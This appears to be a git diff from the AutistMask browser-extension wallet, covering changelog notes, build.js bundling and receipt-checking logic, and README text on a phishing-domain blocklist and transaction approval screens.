build installed as a temporary add-on. Zero npm dependencies — a WebDriver
|
||||
client over `fetch` against geckodriver — with `node`, Firefox 153.0.3 and
|
||||
geckodriver 0.36.0 all pinned by digest. Uncaught errors are read from the
|
||||
privileged console service in Marionette's chrome context, because BiDi
|
||||
`log.entryAdded` reports nothing at all for extension pages; each drain reads
|
||||
and clears the console in one chrome round trip, so no error is destroyed
|
||||
unread by the drain itself, and errors logged during add-on install and
|
||||
background startup are folded into step 1 instead of being cleared. The two
|
||||
measured limits are documented rather than claimed away: the console ring
|
||||
buffer holds 250 messages (a clean run peaks at 4), and the drained window
|
||||
ends ≈1.5s after the last step returns. Demonstrated discriminating by exiting
|
||||
1 on a `throw` at the top of `src/background/index.js`, on a build with one
|
||||
import removed, on a `setTimeout` throw whose UI assertions all pass, on an
|
||||
unhandled `Promise.reject` and on an undefined identifier in `home.js`, and 0
|
||||
on the branch as it stands
|
||||
([#184](https://git.eeqj.de/sneak/AutistMask/issues/184)).
|
||||
- 2026-08-12: The transaction a dApp asks for is now populated in the background
|
||||
before the approval window opens, so the object the user is shown is the
|
||||
object the signed artifact is verified against — nonce, gas limit and every
|
||||
fee field are compared exactly instead of being left to the ceilings, which
|
||||
stay as a backstop against what a lying RPC node can talk the wallet into
|
||||
displaying. The approval also pins the address it was raised for, so an
|
||||
address switch between approval and signing refuses rather than signing from
|
||||
an account the screen never named, and a request naming an address that is not
|
||||
the active one is refused outright. The approval screen now shows the fee, gas
|
||||
limit, network and nonce it vouches for
|
||||
([#216](https://git.eeqj.de/sneak/AutistMask/issues/216)).
|
||||
- 2026-08-12: The restored navigation stack is filtered against
|
||||
`RESTORABLE_VIEWS` on load, truncated at the first entry the popup would not
|
||||
render so that every surviving entry keeps the Back target it had. Back after
|
||||
reopening can no longer land on a view the popup declined to restore, such as
|
||||
`export-privkey` or `show-phrase`
|
||||
([#224](https://git.eeqj.de/sneak/AutistMask/issues/224)). Restorable views in
|
||||
the stack are still unhidden without being re-rendered; that is tracked
|
||||
separately in ([#268](https://git.eeqj.de/sneak/AutistMask/issues/268)).
|
||||
- 2026-08-12: One wording for a rejected password on every screen that asks for
|
||||
one — the send confirmation and the delete-wallet confirmation no longer say
|
||||
"Wrong password." (a fragment, which `RULES.md` Language & Labeling forbids)
|
||||
@@ -1067,5 +257,12 @@ but the review is broader than any of them.
|
||||
Only work that has no issue of its own belongs here; everything else is on the
|
||||
tracker.
|
||||
|
||||
- Pre-1.0 security review of the extension (key handling, DEBUG mode policy, RPC
|
||||
input validation) before any 1.0rc tag. Individual filed issues are parts of
|
||||
it, but the review is broader than any of them.
|
||||
- Decide whether docker-in-docker makes `make test-e2e` runnable in the Gitea
|
||||
workflow. Extending the suite itself is tracked as
|
||||
[#183](https://git.eeqj.de/sneak/AutistMask/issues/183) and
|
||||
[#184](https://git.eeqj.de/sneak/AutistMask/issues/184).
|
||||
- Cut 1.0.0 once the milestone is empty, then continue tagging as milestones
|
||||
land.
|
||||
|
||||
493
build.js
493
build.js
@@ -1,66 +1,19 @@
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
const crypto = require("crypto");
|
||||
const { execSync } = require("child_process");
|
||||
const esbuild = require("esbuild");
|
||||
const { resolveVersion } = require("./script/lib/version");
|
||||
const {
|
||||
BACKGROUND_ENTRY_PREFIX,
|
||||
FORBIDDEN_INPUTS,
|
||||
assertTableWellFormed,
|
||||
} = require("./script/lib/forbiddenBundleInputs");
|
||||
|
||||
const DIST = path.join(__dirname, "dist");
|
||||
const DIST_CHROME = path.join(DIST, "chrome");
|
||||
const DIST_FIREFOX = path.join(DIST, "firefox");
|
||||
const SRC = path.join(__dirname, "src");
|
||||
|
||||
// The module whose compiled DEBUG state script/verify-build asserts. Which
|
||||
// bundles contain it is derived from esbuild's own dependency graph rather
|
||||
// than from a hardcoded list, so it tracks the bundle layout instead of
|
||||
// rotting with it.
|
||||
// The module whose compiled DEBUG state script/verify-build asserts, and the
|
||||
// manifest naming every emitted bundle that ends up containing it. The
|
||||
// manifest is derived from esbuild's own dependency graph rather than from a
|
||||
// hardcoded list, so it tracks the bundle layout instead of rotting with it.
|
||||
const AUDITED_MODULE = "src/shared/constants.js";
|
||||
|
||||
// FORBIDDEN_INPUTS — what each entry point's bundle may not contain, and what
|
||||
// that covers — lives in script/lib/forbiddenBundleInputs.js, because the
|
||||
// ESLint rule reads the same table and two literal copies of a path drift.
|
||||
//
|
||||
// This is the authoritative check, and it is here rather than in the linter
|
||||
// because it consults the resolution esbuild actually performed. Any specifier
|
||||
// syntax, any hop, any resolution rule that puts the module in the bundle fails
|
||||
// the build, whether or not a text matcher would have recognized it. A
|
||||
// background entry point the table does not name fails as well, so a second
|
||||
// worker is protected by default rather than by someone remembering this file.
|
||||
// Dockerfile:42 runs `make build`, so it is enforced in CI.
|
||||
|
||||
// The build receipt: every file this build emits, with its sha256 and whether
|
||||
// it is one of the audited bundles. script/verify-build is handed this and
|
||||
// checks dist/ against it, so the file list comes from the build that just ran
|
||||
// rather than being read back out of the tree it is supposed to vouch for.
|
||||
//
|
||||
// The path is supplied by the caller, not chosen here, and the Makefile makes
|
||||
// a fresh one per invocation outside the repo: that is what ties a receipt to
|
||||
// one build rather than leaving a standing file anyone can write.
|
||||
const RECEIPT_HEADER = "autistmask-build-receipt v1";
|
||||
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
|
||||
|
||||
// Every emitted path must be plainly nameable, because the receipt is a
|
||||
// line-oriented text file consumed by a POSIX shell script and a path with a
|
||||
// space or a newline in it could not be read back unambiguously. Nothing this
|
||||
// build emits looks like that; if that ever changes, the build fails here
|
||||
// rather than writing a receipt that cannot be checked.
|
||||
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
|
||||
|
||||
// Where each browser directory's manifest comes from, and — through its
|
||||
// "icons" — which image files ship inside that directory.
|
||||
const MANIFEST_SOURCES = new Map([
|
||||
[DIST_CHROME, path.join(__dirname, "manifest", "chrome.json")],
|
||||
[DIST_FIREFOX, path.join(__dirname, "manifest", "firefox.json")],
|
||||
]);
|
||||
|
||||
// What an "icons" entry may name: a plain file under icons/, so a manifest
|
||||
// value is never joined into a path that leaves the repo.
|
||||
const ICON_REF_RE = /^icons\/[A-Za-z0-9._-]+\.png$/;
|
||||
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
|
||||
|
||||
function ensureDir(dir) {
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
@@ -78,10 +31,10 @@ function repoRelative(p) {
|
||||
// searching the minified text, it does not depend on what survived minification.
|
||||
//
|
||||
// The ".js" filter below is the only place that assumption lives:
|
||||
// script/verify-build reads every file the receipt names, whatever its
|
||||
// extension, and fails on any that carries a debug marker without being
|
||||
// recorded as an audited bundle — so a bundle emitted under some other
|
||||
// extension fails there rather than escaping both checks at once.
|
||||
// script/verify-build searches every file and symlink under dist/ for a
|
||||
// marker, without filtering by extension, and hard-fails if it cannot walk the
|
||||
// whole tree, so a bundle emitted under some other extension fails there as
|
||||
// unlisted rather than escaping both checks at once.
|
||||
function outputsContainingAuditedModule(metafile) {
|
||||
return Object.entries(metafile.outputs)
|
||||
.filter(([outFile, info]) => {
|
||||
@@ -93,288 +46,6 @@ function outputsContainingAuditedModule(metafile) {
|
||||
.map(([outFile]) => repoRelative(outFile));
|
||||
}
|
||||
|
||||
// Shortest import chain from `entryInput` to `target` through the metafile's
|
||||
// own input graph, or null when there is none. The message this feeds is the
|
||||
// point of the check: "state.js is in the worker bundle" is not actionable on
|
||||
// its own, "index.js -> chainSwitchFields.js -> state.js" is.
|
||||
function importChain(metafile, entryInput, target) {
|
||||
const graph = new Map(
|
||||
Object.entries(metafile.inputs).map(([input, info]) => [
|
||||
repoRelative(input),
|
||||
(info.imports || []).map((i) => repoRelative(i.path)),
|
||||
]),
|
||||
);
|
||||
const start = repoRelative(entryInput);
|
||||
const seen = new Set([start]);
|
||||
const queue = [[start]];
|
||||
while (queue.length > 0) {
|
||||
const chain = queue.shift();
|
||||
for (const next of graph.get(chain[chain.length - 1]) || []) {
|
||||
if (next === target) return chain.concat([next]);
|
||||
if (seen.has(next)) continue;
|
||||
seen.add(next);
|
||||
queue.push(chain.concat([next]));
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
// What the forbidden-input checks accumulate over a whole build: which
|
||||
// FORBIDDEN_INPUTS keys were actually bundled, and every input of every output
|
||||
// this build emitted. Both are read by assertForbiddenTableCovered() at the
|
||||
// end — a table entry naming something that is not there any more enforces
|
||||
// nothing, and must fail rather than pass quietly.
|
||||
function newForbiddenRecord() {
|
||||
return { entriesChecked: new Set(), bundledInputs: new Set() };
|
||||
}
|
||||
|
||||
// Note every input of every output of one esbuild run. Deliberately not
|
||||
// restricted to the entry points named in FORBIDDEN_INPUTS: it is the POPUP
|
||||
// that legitimately bundles src/shared/state.js, and that is what makes
|
||||
// "the forbidden module still exists at this path" checkable at all.
|
||||
function recordBundledInputs(metafile, record) {
|
||||
for (const info of Object.values(metafile.outputs)) {
|
||||
for (const input of Object.keys(info.inputs)) {
|
||||
record.bundledInputs.add(repoRelative(input));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fail the build when an entry point's bundle contains a module it is
|
||||
// prohibited from reaching. The inputs come from esbuild's metafile, so this is
|
||||
// the resolution the shipped bundle was built from and not a guess at it.
|
||||
//
|
||||
// A background entry point with no line in the table fails here too. The five
|
||||
// defects this exists to prevent were accidents, and so is adding a second
|
||||
// worker entry point without knowing that a table somewhere needs a line: the
|
||||
// protection has to be the default for that directory rather than something
|
||||
// the next author must opt into.
|
||||
function assertNoForbiddenInputs(
|
||||
entryPoint,
|
||||
outfile,
|
||||
metafile,
|
||||
record,
|
||||
table = FORBIDDEN_INPUTS,
|
||||
) {
|
||||
const entry = repoRelative(entryPoint);
|
||||
const forbidden = table[entry];
|
||||
if (!forbidden) {
|
||||
if (!entry.startsWith(BACKGROUND_ENTRY_PREFIX)) return;
|
||||
throw new Error(
|
||||
`${entry} is a background entry point with no line in ` +
|
||||
`FORBIDDEN_INPUTS, so nothing stops its bundle from ` +
|
||||
`containing the shared state singleton. Add it to ` +
|
||||
`script/lib/forbiddenBundleInputs.js. The MV3 worker never ` +
|
||||
`populates that singleton, so reading it serves ` +
|
||||
`DEFAULT_STATE; use getState()/updateState() from ` +
|
||||
`src/background/state.js instead.`,
|
||||
);
|
||||
}
|
||||
|
||||
const out = repoRelative(outfile);
|
||||
const entryOutput = Object.entries(metafile.outputs).find(
|
||||
([outFile]) => repoRelative(outFile) === out,
|
||||
);
|
||||
if (!entryOutput) {
|
||||
throw new Error(`esbuild reported no metafile output for ${out}`);
|
||||
}
|
||||
const inputs = new Set(
|
||||
Object.keys(entryOutput[1].inputs).map(repoRelative),
|
||||
);
|
||||
|
||||
// Recorded only once the bundle's inputs are actually in hand. Marking the
|
||||
// entry checked any earlier — as this did — means an early return above
|
||||
// satisfies assertForbiddenTableCovered() with a bundle nobody examined,
|
||||
// and the coverage half cannot tell that from a real check. The lookup
|
||||
// above is the fragile step: repoRelative() resolves against process.cwd()
|
||||
// while esbuild's output keys are cwd-relative, so a change to where the
|
||||
// build runs from could miss.
|
||||
record.entriesChecked.add(entry);
|
||||
|
||||
for (const module of forbidden) {
|
||||
if (!inputs.has(module)) continue;
|
||||
const chain = importChain(metafile, entryPoint, module);
|
||||
throw new Error(
|
||||
`${out} bundles ${module}, which ${entry} must not reach` +
|
||||
`${chain ? `: ${chain.join(" -> ")}` : ""}. The MV3 worker ` +
|
||||
`never populates the shared state singleton, so reading it ` +
|
||||
`serves DEFAULT_STATE. Use getState()/updateState() from ` +
|
||||
`src/background/state.js instead.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Fail the build when the table has rotted away from the tree it describes.
|
||||
// Both halves of an entry rot independently, and either one turns the whole
|
||||
// prohibition into a pass that checks nothing:
|
||||
//
|
||||
// - the KEY, when no bundled entry point matches it: the entry point was
|
||||
// renamed or is no longer built, and no bundle was ever tested against the
|
||||
// list;
|
||||
// - the MODULE, when this build bundled it nowhere: the module was renamed,
|
||||
// moved or deleted, so "is it an input of the background bundle" is asked
|
||||
// about a path nothing resolves to and is answered no forever. The popup
|
||||
// legitimately bundles src/shared/state.js, which is what makes this
|
||||
// checkable — and it is stronger than an existsSync(), because it also
|
||||
// fails when the file is still there but has dropped out of every bundle.
|
||||
//
|
||||
// This matters concretely: https://git.eeqj.de/sneak/AutistMask/issues/311
|
||||
// rewrites this persistence layer, and a rename that quietly disarmed the
|
||||
// guarantee would put the singleton back within reach of the worker with every
|
||||
// check in the repo still green.
|
||||
//
|
||||
// The third way — an entry that lists no modules at all — is refused where the
|
||||
// table is defined, at require time, because that one also empties the ESLint
|
||||
// rule's forbidden set and so has to fail before either layer runs. It is
|
||||
// re-checked here so the build's own half does not depend on the table having
|
||||
// been loaded from that file.
|
||||
function assertForbiddenTableCovered(record, table = FORBIDDEN_INPUTS) {
|
||||
assertTableWellFormed(table);
|
||||
for (const [entry, modules] of Object.entries(table)) {
|
||||
if (!record.entriesChecked.has(entry)) {
|
||||
throw new Error(
|
||||
`${entry} is listed in FORBIDDEN_INPUTS but was not bundled, ` +
|
||||
`so nothing checked it`,
|
||||
);
|
||||
}
|
||||
for (const module of modules) {
|
||||
if (record.bundledInputs.has(module)) continue;
|
||||
throw new Error(
|
||||
`${module} is listed in FORBIDDEN_INPUTS for ${entry}, but ` +
|
||||
`this build bundled it nowhere, so the prohibition names ` +
|
||||
`a module that is not in this tree at that path and ` +
|
||||
`nothing enforces it. If the module moved, move it in ` +
|
||||
`script/lib/forbiddenBundleInputs.js too, which both ` +
|
||||
`this check and the ESLint rule read.`,
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Every file this build writes under dist/, recorded as it is written. This is
|
||||
// the build's own account of what it emitted; it is never recovered by
|
||||
// listing dist/, because a file that is in dist/ without this build having put
|
||||
// it there is exactly what the receipt exists to expose.
|
||||
const emittedFiles = [];
|
||||
|
||||
function recordEmitted(absPath) {
|
||||
emittedFiles.push(absPath);
|
||||
}
|
||||
|
||||
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
|
||||
// CLI record their outputs where they are invoked.
|
||||
function copyEmitted(src, dest) {
|
||||
fs.copyFileSync(src, dest);
|
||||
recordEmitted(dest);
|
||||
}
|
||||
|
||||
// Copy the icons one browser directory ships. The sizes come from the manifest
|
||||
// that will sit next to them, not from a second list here: a size the manifest
|
||||
// declares and icons/ does not hold fails the build, rather than shipping a
|
||||
// manifest whose reference resolves to nothing. Relative to the browser
|
||||
// directory, so nothing points up and out of it the way dist/styles.css does.
|
||||
function copyIcons(distDir) {
|
||||
const manifestPath = MANIFEST_SOURCES.get(distDir);
|
||||
const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
|
||||
const refs = Object.values(manifest.icons || {});
|
||||
if (refs.length === 0) {
|
||||
throw new Error(
|
||||
`${repoRelative(manifestPath)} declares no icons, so the browser ` +
|
||||
`renders a generic placeholder for this extension`,
|
||||
);
|
||||
}
|
||||
for (const ref of refs) {
|
||||
if (!ICON_REF_RE.test(ref)) {
|
||||
throw new Error(
|
||||
`${repoRelative(manifestPath)} declares icon ` +
|
||||
`${JSON.stringify(ref)}, which is not a plain file under ` +
|
||||
`icons/`,
|
||||
);
|
||||
}
|
||||
const src = path.join(__dirname, ref);
|
||||
if (!fs.existsSync(src)) {
|
||||
throw new Error(
|
||||
`${repoRelative(manifestPath)} declares ${ref}, which is not ` +
|
||||
`in this tree`,
|
||||
);
|
||||
}
|
||||
const dest = path.join(distDir, ref);
|
||||
ensureDir(path.dirname(dest));
|
||||
copyEmitted(src, dest);
|
||||
}
|
||||
}
|
||||
|
||||
function sha256File(absPath) {
|
||||
return crypto
|
||||
.createHash("sha256")
|
||||
.update(fs.readFileSync(absPath))
|
||||
.digest("hex");
|
||||
}
|
||||
|
||||
// Write the receipt for the files this build emitted. Deliberately records no
|
||||
// build mode: which mode was asked for is script/verify-build's argument, so
|
||||
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
|
||||
// under these names, are what I wrote, and these ones bundle constants.js".
|
||||
function writeReceipt(receiptPath, auditedBundles) {
|
||||
const audited = new Set(auditedBundles);
|
||||
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
|
||||
|
||||
for (const p of paths) {
|
||||
if (!SAFE_EMITTED_PATH.test(p)) {
|
||||
throw new Error(
|
||||
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// A bundle esbuild reported but that nothing recorded as emitted means the
|
||||
// two halves have drifted apart, and the receipt would then leave an
|
||||
// audited bundle out. Fail rather than emit a short receipt.
|
||||
for (const bundle of audited) {
|
||||
if (!paths.includes(bundle)) {
|
||||
throw new Error(
|
||||
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
|
||||
);
|
||||
}
|
||||
}
|
||||
if (audited.size === 0) {
|
||||
throw new Error(
|
||||
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
|
||||
);
|
||||
}
|
||||
|
||||
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
|
||||
for (const p of paths) {
|
||||
const flag = audited.has(p) ? "A" : "P";
|
||||
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
|
||||
}
|
||||
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
|
||||
|
||||
console.log(
|
||||
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
|
||||
`containing ${AUDITED_MODULE} (${receiptPath})`,
|
||||
);
|
||||
}
|
||||
|
||||
// Where the receipt goes, decided before anything is emitted so a build that
|
||||
// cannot produce a checkable receipt fails before it writes any artifacts.
|
||||
// Inside dist/ is refused: a receipt that lives in the tree it describes can
|
||||
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
|
||||
function receiptTarget() {
|
||||
const requested = process.env[RECEIPT_ENV];
|
||||
if (!requested) {
|
||||
return null;
|
||||
}
|
||||
const resolved = path.resolve(requested);
|
||||
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
|
||||
throw new Error(
|
||||
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
|
||||
`describes dist/ and must not live in it.`,
|
||||
);
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
|
||||
// DEBUG is a build-time flag, off unless explicitly requested. It is the only
|
||||
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
|
||||
// exact: anything other than the literal "1" (unset, empty, "true", a typo)
|
||||
@@ -383,53 +54,28 @@ function isDebugBuild() {
|
||||
return process.env.AUTISTMASK_DEBUG === "1";
|
||||
}
|
||||
|
||||
// A short git output, or null when git cannot answer. Distinguishing "git said
|
||||
// nothing" from "git could not be asked" matters below: a working tree whose
|
||||
// state is unknown must not be stamped as clean.
|
||||
function git(args) {
|
||||
try {
|
||||
return execSync(`git ${args}`, {
|
||||
encoding: "utf8",
|
||||
stdio: ["ignore", "pipe", "ignore"],
|
||||
}).trim();
|
||||
} catch {
|
||||
// not a git repo, or git not available
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// The working-tree state, as a suffix for the displayed commit: "" when the
|
||||
// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
|
||||
// the hash but not the status. Without this a build from a modified tree
|
||||
// stamped a clean hash, so the About screen named a commit whose contents were
|
||||
// not what was running — the one thing that stamp exists to establish.
|
||||
//
|
||||
// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
|
||||
// make every build dirty; an untracked file that is NOT ignored does, and
|
||||
// correctly: it may well be in the bundle.
|
||||
function worktreeSuffix() {
|
||||
const status = git("status --porcelain");
|
||||
if (status === null) return "-unknown";
|
||||
return status === "" ? "" : "-dirty";
|
||||
}
|
||||
|
||||
function getBuildInfo() {
|
||||
const pkg = JSON.parse(
|
||||
fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
|
||||
);
|
||||
const commitHashFull = git("rev-parse HEAD") || "unknown";
|
||||
const shortHash = git("rev-parse --short HEAD") || "unknown";
|
||||
// The full hash is left clean because it is the href of the commit link in
|
||||
// the About screen, and "abc123-dirty" is not a commit anyone can fetch.
|
||||
// The displayed short hash carries the marker, so the screen says the tree
|
||||
// was modified while still linking somewhere real.
|
||||
const commitHash =
|
||||
shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
|
||||
let commitHash = "unknown";
|
||||
try {
|
||||
commitHash = execSync("git rev-parse --short HEAD", {
|
||||
encoding: "utf8",
|
||||
}).trim();
|
||||
} catch (_) {
|
||||
// not a git repo or git not available
|
||||
}
|
||||
let commitHashFull = "unknown";
|
||||
try {
|
||||
commitHashFull = execSync("git rev-parse HEAD", {
|
||||
encoding: "utf8",
|
||||
}).trim();
|
||||
} catch (_) {
|
||||
// not a git repo or git not available
|
||||
}
|
||||
return {
|
||||
// Fails the build when package.json and the two manifests disagree;
|
||||
// see script/lib/version.js. Called before anything is emitted, so a
|
||||
// tree with no single version never reaches dist/.
|
||||
version: resolveVersion(__dirname),
|
||||
version: pkg.version,
|
||||
license: pkg.license,
|
||||
author: pkg.author,
|
||||
commitHash,
|
||||
@@ -441,15 +87,6 @@ function getBuildInfo() {
|
||||
async function build() {
|
||||
console.log("Building AutistMask extension...");
|
||||
|
||||
const receiptPath = receiptTarget();
|
||||
if (!receiptPath) {
|
||||
console.warn(
|
||||
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
|
||||
`receipt and script/verify-build cannot verify what it ` +
|
||||
`emitted. Build through make build / make build-debug.`,
|
||||
);
|
||||
}
|
||||
|
||||
const buildInfo = getBuildInfo();
|
||||
console.log("Build info:", buildInfo);
|
||||
|
||||
@@ -471,24 +108,19 @@ async function build() {
|
||||
};
|
||||
|
||||
// Emitted bundles that contain constants.js, accumulated across every
|
||||
// esbuild run below and recorded in the receipt for script/verify-build.
|
||||
// esbuild run below and written out for script/verify-build.
|
||||
const auditedBundles = [];
|
||||
|
||||
// What the forbidden-input checks accumulate across those same runs.
|
||||
const forbiddenRecord = newForbiddenRecord();
|
||||
|
||||
// compile tailwind CSS
|
||||
console.log("Compiling Tailwind CSS...");
|
||||
const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
|
||||
const tailwindOutput = path.join(DIST, "styles.css");
|
||||
|
||||
// Start from an empty dist/, so what is there afterwards is what this
|
||||
// build put there and nothing else. Leftovers from an earlier build are
|
||||
// not covered by this build's receipt, and script/verify-build rejects
|
||||
// any file it did not emit rather than ignoring it.
|
||||
fs.rmSync(DIST, { recursive: true, force: true });
|
||||
ensureDir(DIST);
|
||||
|
||||
// Drop any manifest from a previous build before emitting anything, so a
|
||||
// build that never gets around to writing one cannot be verified against
|
||||
// a stale list.
|
||||
fs.rmSync(BUNDLE_MANIFEST, { force: true });
|
||||
// The locally installed binary, not `npx` — npx silently fetches from the
|
||||
// registry when the binary is absent, which is an unpinned network fetch
|
||||
// in the middle of a build.
|
||||
@@ -502,7 +134,6 @@ async function build() {
|
||||
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
|
||||
{ stdio: "inherit" },
|
||||
);
|
||||
recordEmitted(tailwindOutput);
|
||||
|
||||
// Every bundle goes through here, so metafile collection cannot be
|
||||
// forgotten when a new entry point is added.
|
||||
@@ -518,16 +149,6 @@ async function build() {
|
||||
metafile: true,
|
||||
define,
|
||||
});
|
||||
// Before the output is recorded as emitted: a bundle that violates a
|
||||
// prohibition must abort the build, not be written into a receipt.
|
||||
recordBundledInputs(result.metafile, forbiddenRecord);
|
||||
assertNoForbiddenInputs(
|
||||
entryPoint,
|
||||
outfile,
|
||||
result.metafile,
|
||||
forbiddenRecord,
|
||||
);
|
||||
recordEmitted(outfile);
|
||||
auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
|
||||
}
|
||||
|
||||
@@ -561,63 +182,39 @@ async function build() {
|
||||
);
|
||||
|
||||
// copy popup HTML
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(SRC, "popup", "index.html"),
|
||||
path.join(distDir, "src", "popup", "index.html"),
|
||||
);
|
||||
|
||||
// place compiled CSS next to popup HTML
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
tailwindOutput,
|
||||
path.join(distDir, "src", "popup", "styles.css"),
|
||||
);
|
||||
|
||||
copyIcons(distDir);
|
||||
}
|
||||
|
||||
// copy manifests
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(__dirname, "manifest", "chrome.json"),
|
||||
path.join(DIST_CHROME, "manifest.json"),
|
||||
);
|
||||
copyEmitted(
|
||||
fs.copyFileSync(
|
||||
path.join(__dirname, "manifest", "firefox.json"),
|
||||
path.join(DIST_FIREFOX, "manifest.json"),
|
||||
);
|
||||
|
||||
assertForbiddenTableCovered(forbiddenRecord);
|
||||
|
||||
// Written last so a build that died partway through leaves no receipt at
|
||||
// all, which script/verify-build treats as a hard failure rather than as
|
||||
// "nothing to check".
|
||||
if (receiptPath) {
|
||||
writeReceipt(receiptPath, auditedBundles);
|
||||
}
|
||||
// Written last so a build that died partway through leaves no manifest
|
||||
// at all, which script/verify-build treats as a hard failure rather than
|
||||
// as "nothing to check".
|
||||
const manifest = [...new Set(auditedBundles)].sort();
|
||||
fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
|
||||
console.log(
|
||||
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
|
||||
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
|
||||
);
|
||||
|
||||
console.log("Build complete: dist/chrome/ and dist/firefox/");
|
||||
}
|
||||
|
||||
// Run only as a program. Required as a module — which is how
|
||||
// tests/buildForbiddenInputs.test.js reaches the checks below — this file
|
||||
// builds nothing and writes nothing.
|
||||
if (require.main === module) {
|
||||
build().catch((err) => {
|
||||
console.error(
|
||||
`Build failed: ${err && err.message ? err.message : err}`,
|
||||
);
|
||||
process.exit(1);
|
||||
});
|
||||
}
|
||||
|
||||
// Exported for tests/buildForbiddenInputs.test.js only. The prohibition these
|
||||
// three functions enforce is the guarantee behind
|
||||
// https://git.eeqj.de/sneak/AutistMask/issues/324, and `make check` does not
|
||||
// run `make build` — so they are unit tested against synthetic metafiles
|
||||
// rather than being exercised only by CI, where "it ran" is not "it works".
|
||||
module.exports = {
|
||||
importChain,
|
||||
newForbiddenRecord,
|
||||
recordBundledInputs,
|
||||
assertNoForbiddenInputs,
|
||||
assertForbiddenTableCovered,
|
||||
};
|
||||
build();
|
||||
|
||||
@@ -120,6 +120,25 @@ What gets sent: token symbol names (e.g. "ETH", "USDC"). No addresses, no
|
||||
balances, no identifying information. As with any request, CoinDesk sees your IP
|
||||
address.
|
||||
|
||||
**Phishing domain blocklist** (`raw.githubusercontent.com`)
|
||||
|
||||
A community-maintained list of phishing domains, used to warn you when a site
|
||||
that asks to connect, or to have a transaction or signature approved, is a known
|
||||
scam. A copy is bundled into the extension at build time, so the protection
|
||||
works before any network request happens. At runtime the extension fetches the
|
||||
live list to pick up newly added domains, keeping only the entries not already
|
||||
in the bundled copy (persisted locally if under 256 KiB). This endpoint is not
|
||||
user-configurable.
|
||||
|
||||
When it is contacted: when the background script starts, if the last fetch was
|
||||
more than 24 hours ago, and every 24 hours after that. The time of the last
|
||||
fetch is remembered across browser and background restarts, so restarting does
|
||||
not cause a re-download. If a fetch fails, or the list is too large to keep, the
|
||||
extension waits an hour before trying again outside that 24-hour schedule rather
|
||||
than retrying on every restart. It is a plain download of a public file —
|
||||
nothing about you is sent, but the host sees your IP address. If the fetch
|
||||
fails, the bundled copy is still used.
|
||||
|
||||
**Etherscan address labels** (`etherscan.io`; `sepolia.etherscan.io` on Sepolia)
|
||||
|
||||
When you review a send, AutistMask fetches the recipient's public Etherscan
|
||||
@@ -292,15 +311,10 @@ pages. When a site requests access to your wallet:
|
||||
time.
|
||||
|
||||
When a connected site requests a transaction, a separate approval popup appears
|
||||
showing the transaction details (from, to, value, data, network fee, network and
|
||||
nonce). Every one of those values is checked against the transaction that is
|
||||
actually signed before anything is broadcast, so what you read on that screen is
|
||||
what goes out or nothing does. The popup appears once the wallet has worked out
|
||||
the fee and gas from the network, which takes a moment; if that fails, no popup
|
||||
appears and the site is told the transaction could not be prepared. You must
|
||||
enter your password and click "Confirm" to authorize it. Message and typed-data
|
||||
signature requests work the same way, with a "Sign" button, and also require
|
||||
your password.
|
||||
showing the transaction details (from, to, value, data). You must enter your
|
||||
password and click "Confirm" to authorize it. Message and typed-data signature
|
||||
requests work the same way, with a "Sign" button, and also require your
|
||||
password.
|
||||
|
||||
If the requesting site's domain is on the phishing blocklist, all three approval
|
||||
screens show a red phishing warning before you decide.
|
||||
@@ -348,12 +362,8 @@ confirmation screen. It contains only addresses involved in fraud -- it is not a
|
||||
sanctions list.
|
||||
|
||||
**Phishing domain warnings.** Sites asking to connect or to have something
|
||||
approved are checked against a community-maintained list of known phishing
|
||||
domains, and flagged with a red banner if they match. The list is built into the
|
||||
extension: the check is entirely local, so nobody is told which sites you visit,
|
||||
and it works offline. It is also only as current as the release you are running
|
||||
— a domain added to the list upstream reaches you in the next version of the
|
||||
extension, not the same day.
|
||||
approved are checked against the phishing domain blocklist described under
|
||||
External Services, and flagged with a red banner if they match.
|
||||
|
||||
The first four filters can be individually disabled in Settings if you prefer to
|
||||
see everything unfiltered.
|
||||
|
||||
190
eslint.config.js
190
eslint.config.js
@@ -1,190 +0,0 @@
|
||||
// ESLint flat config. Static analysis for make check; formatting stays with
|
||||
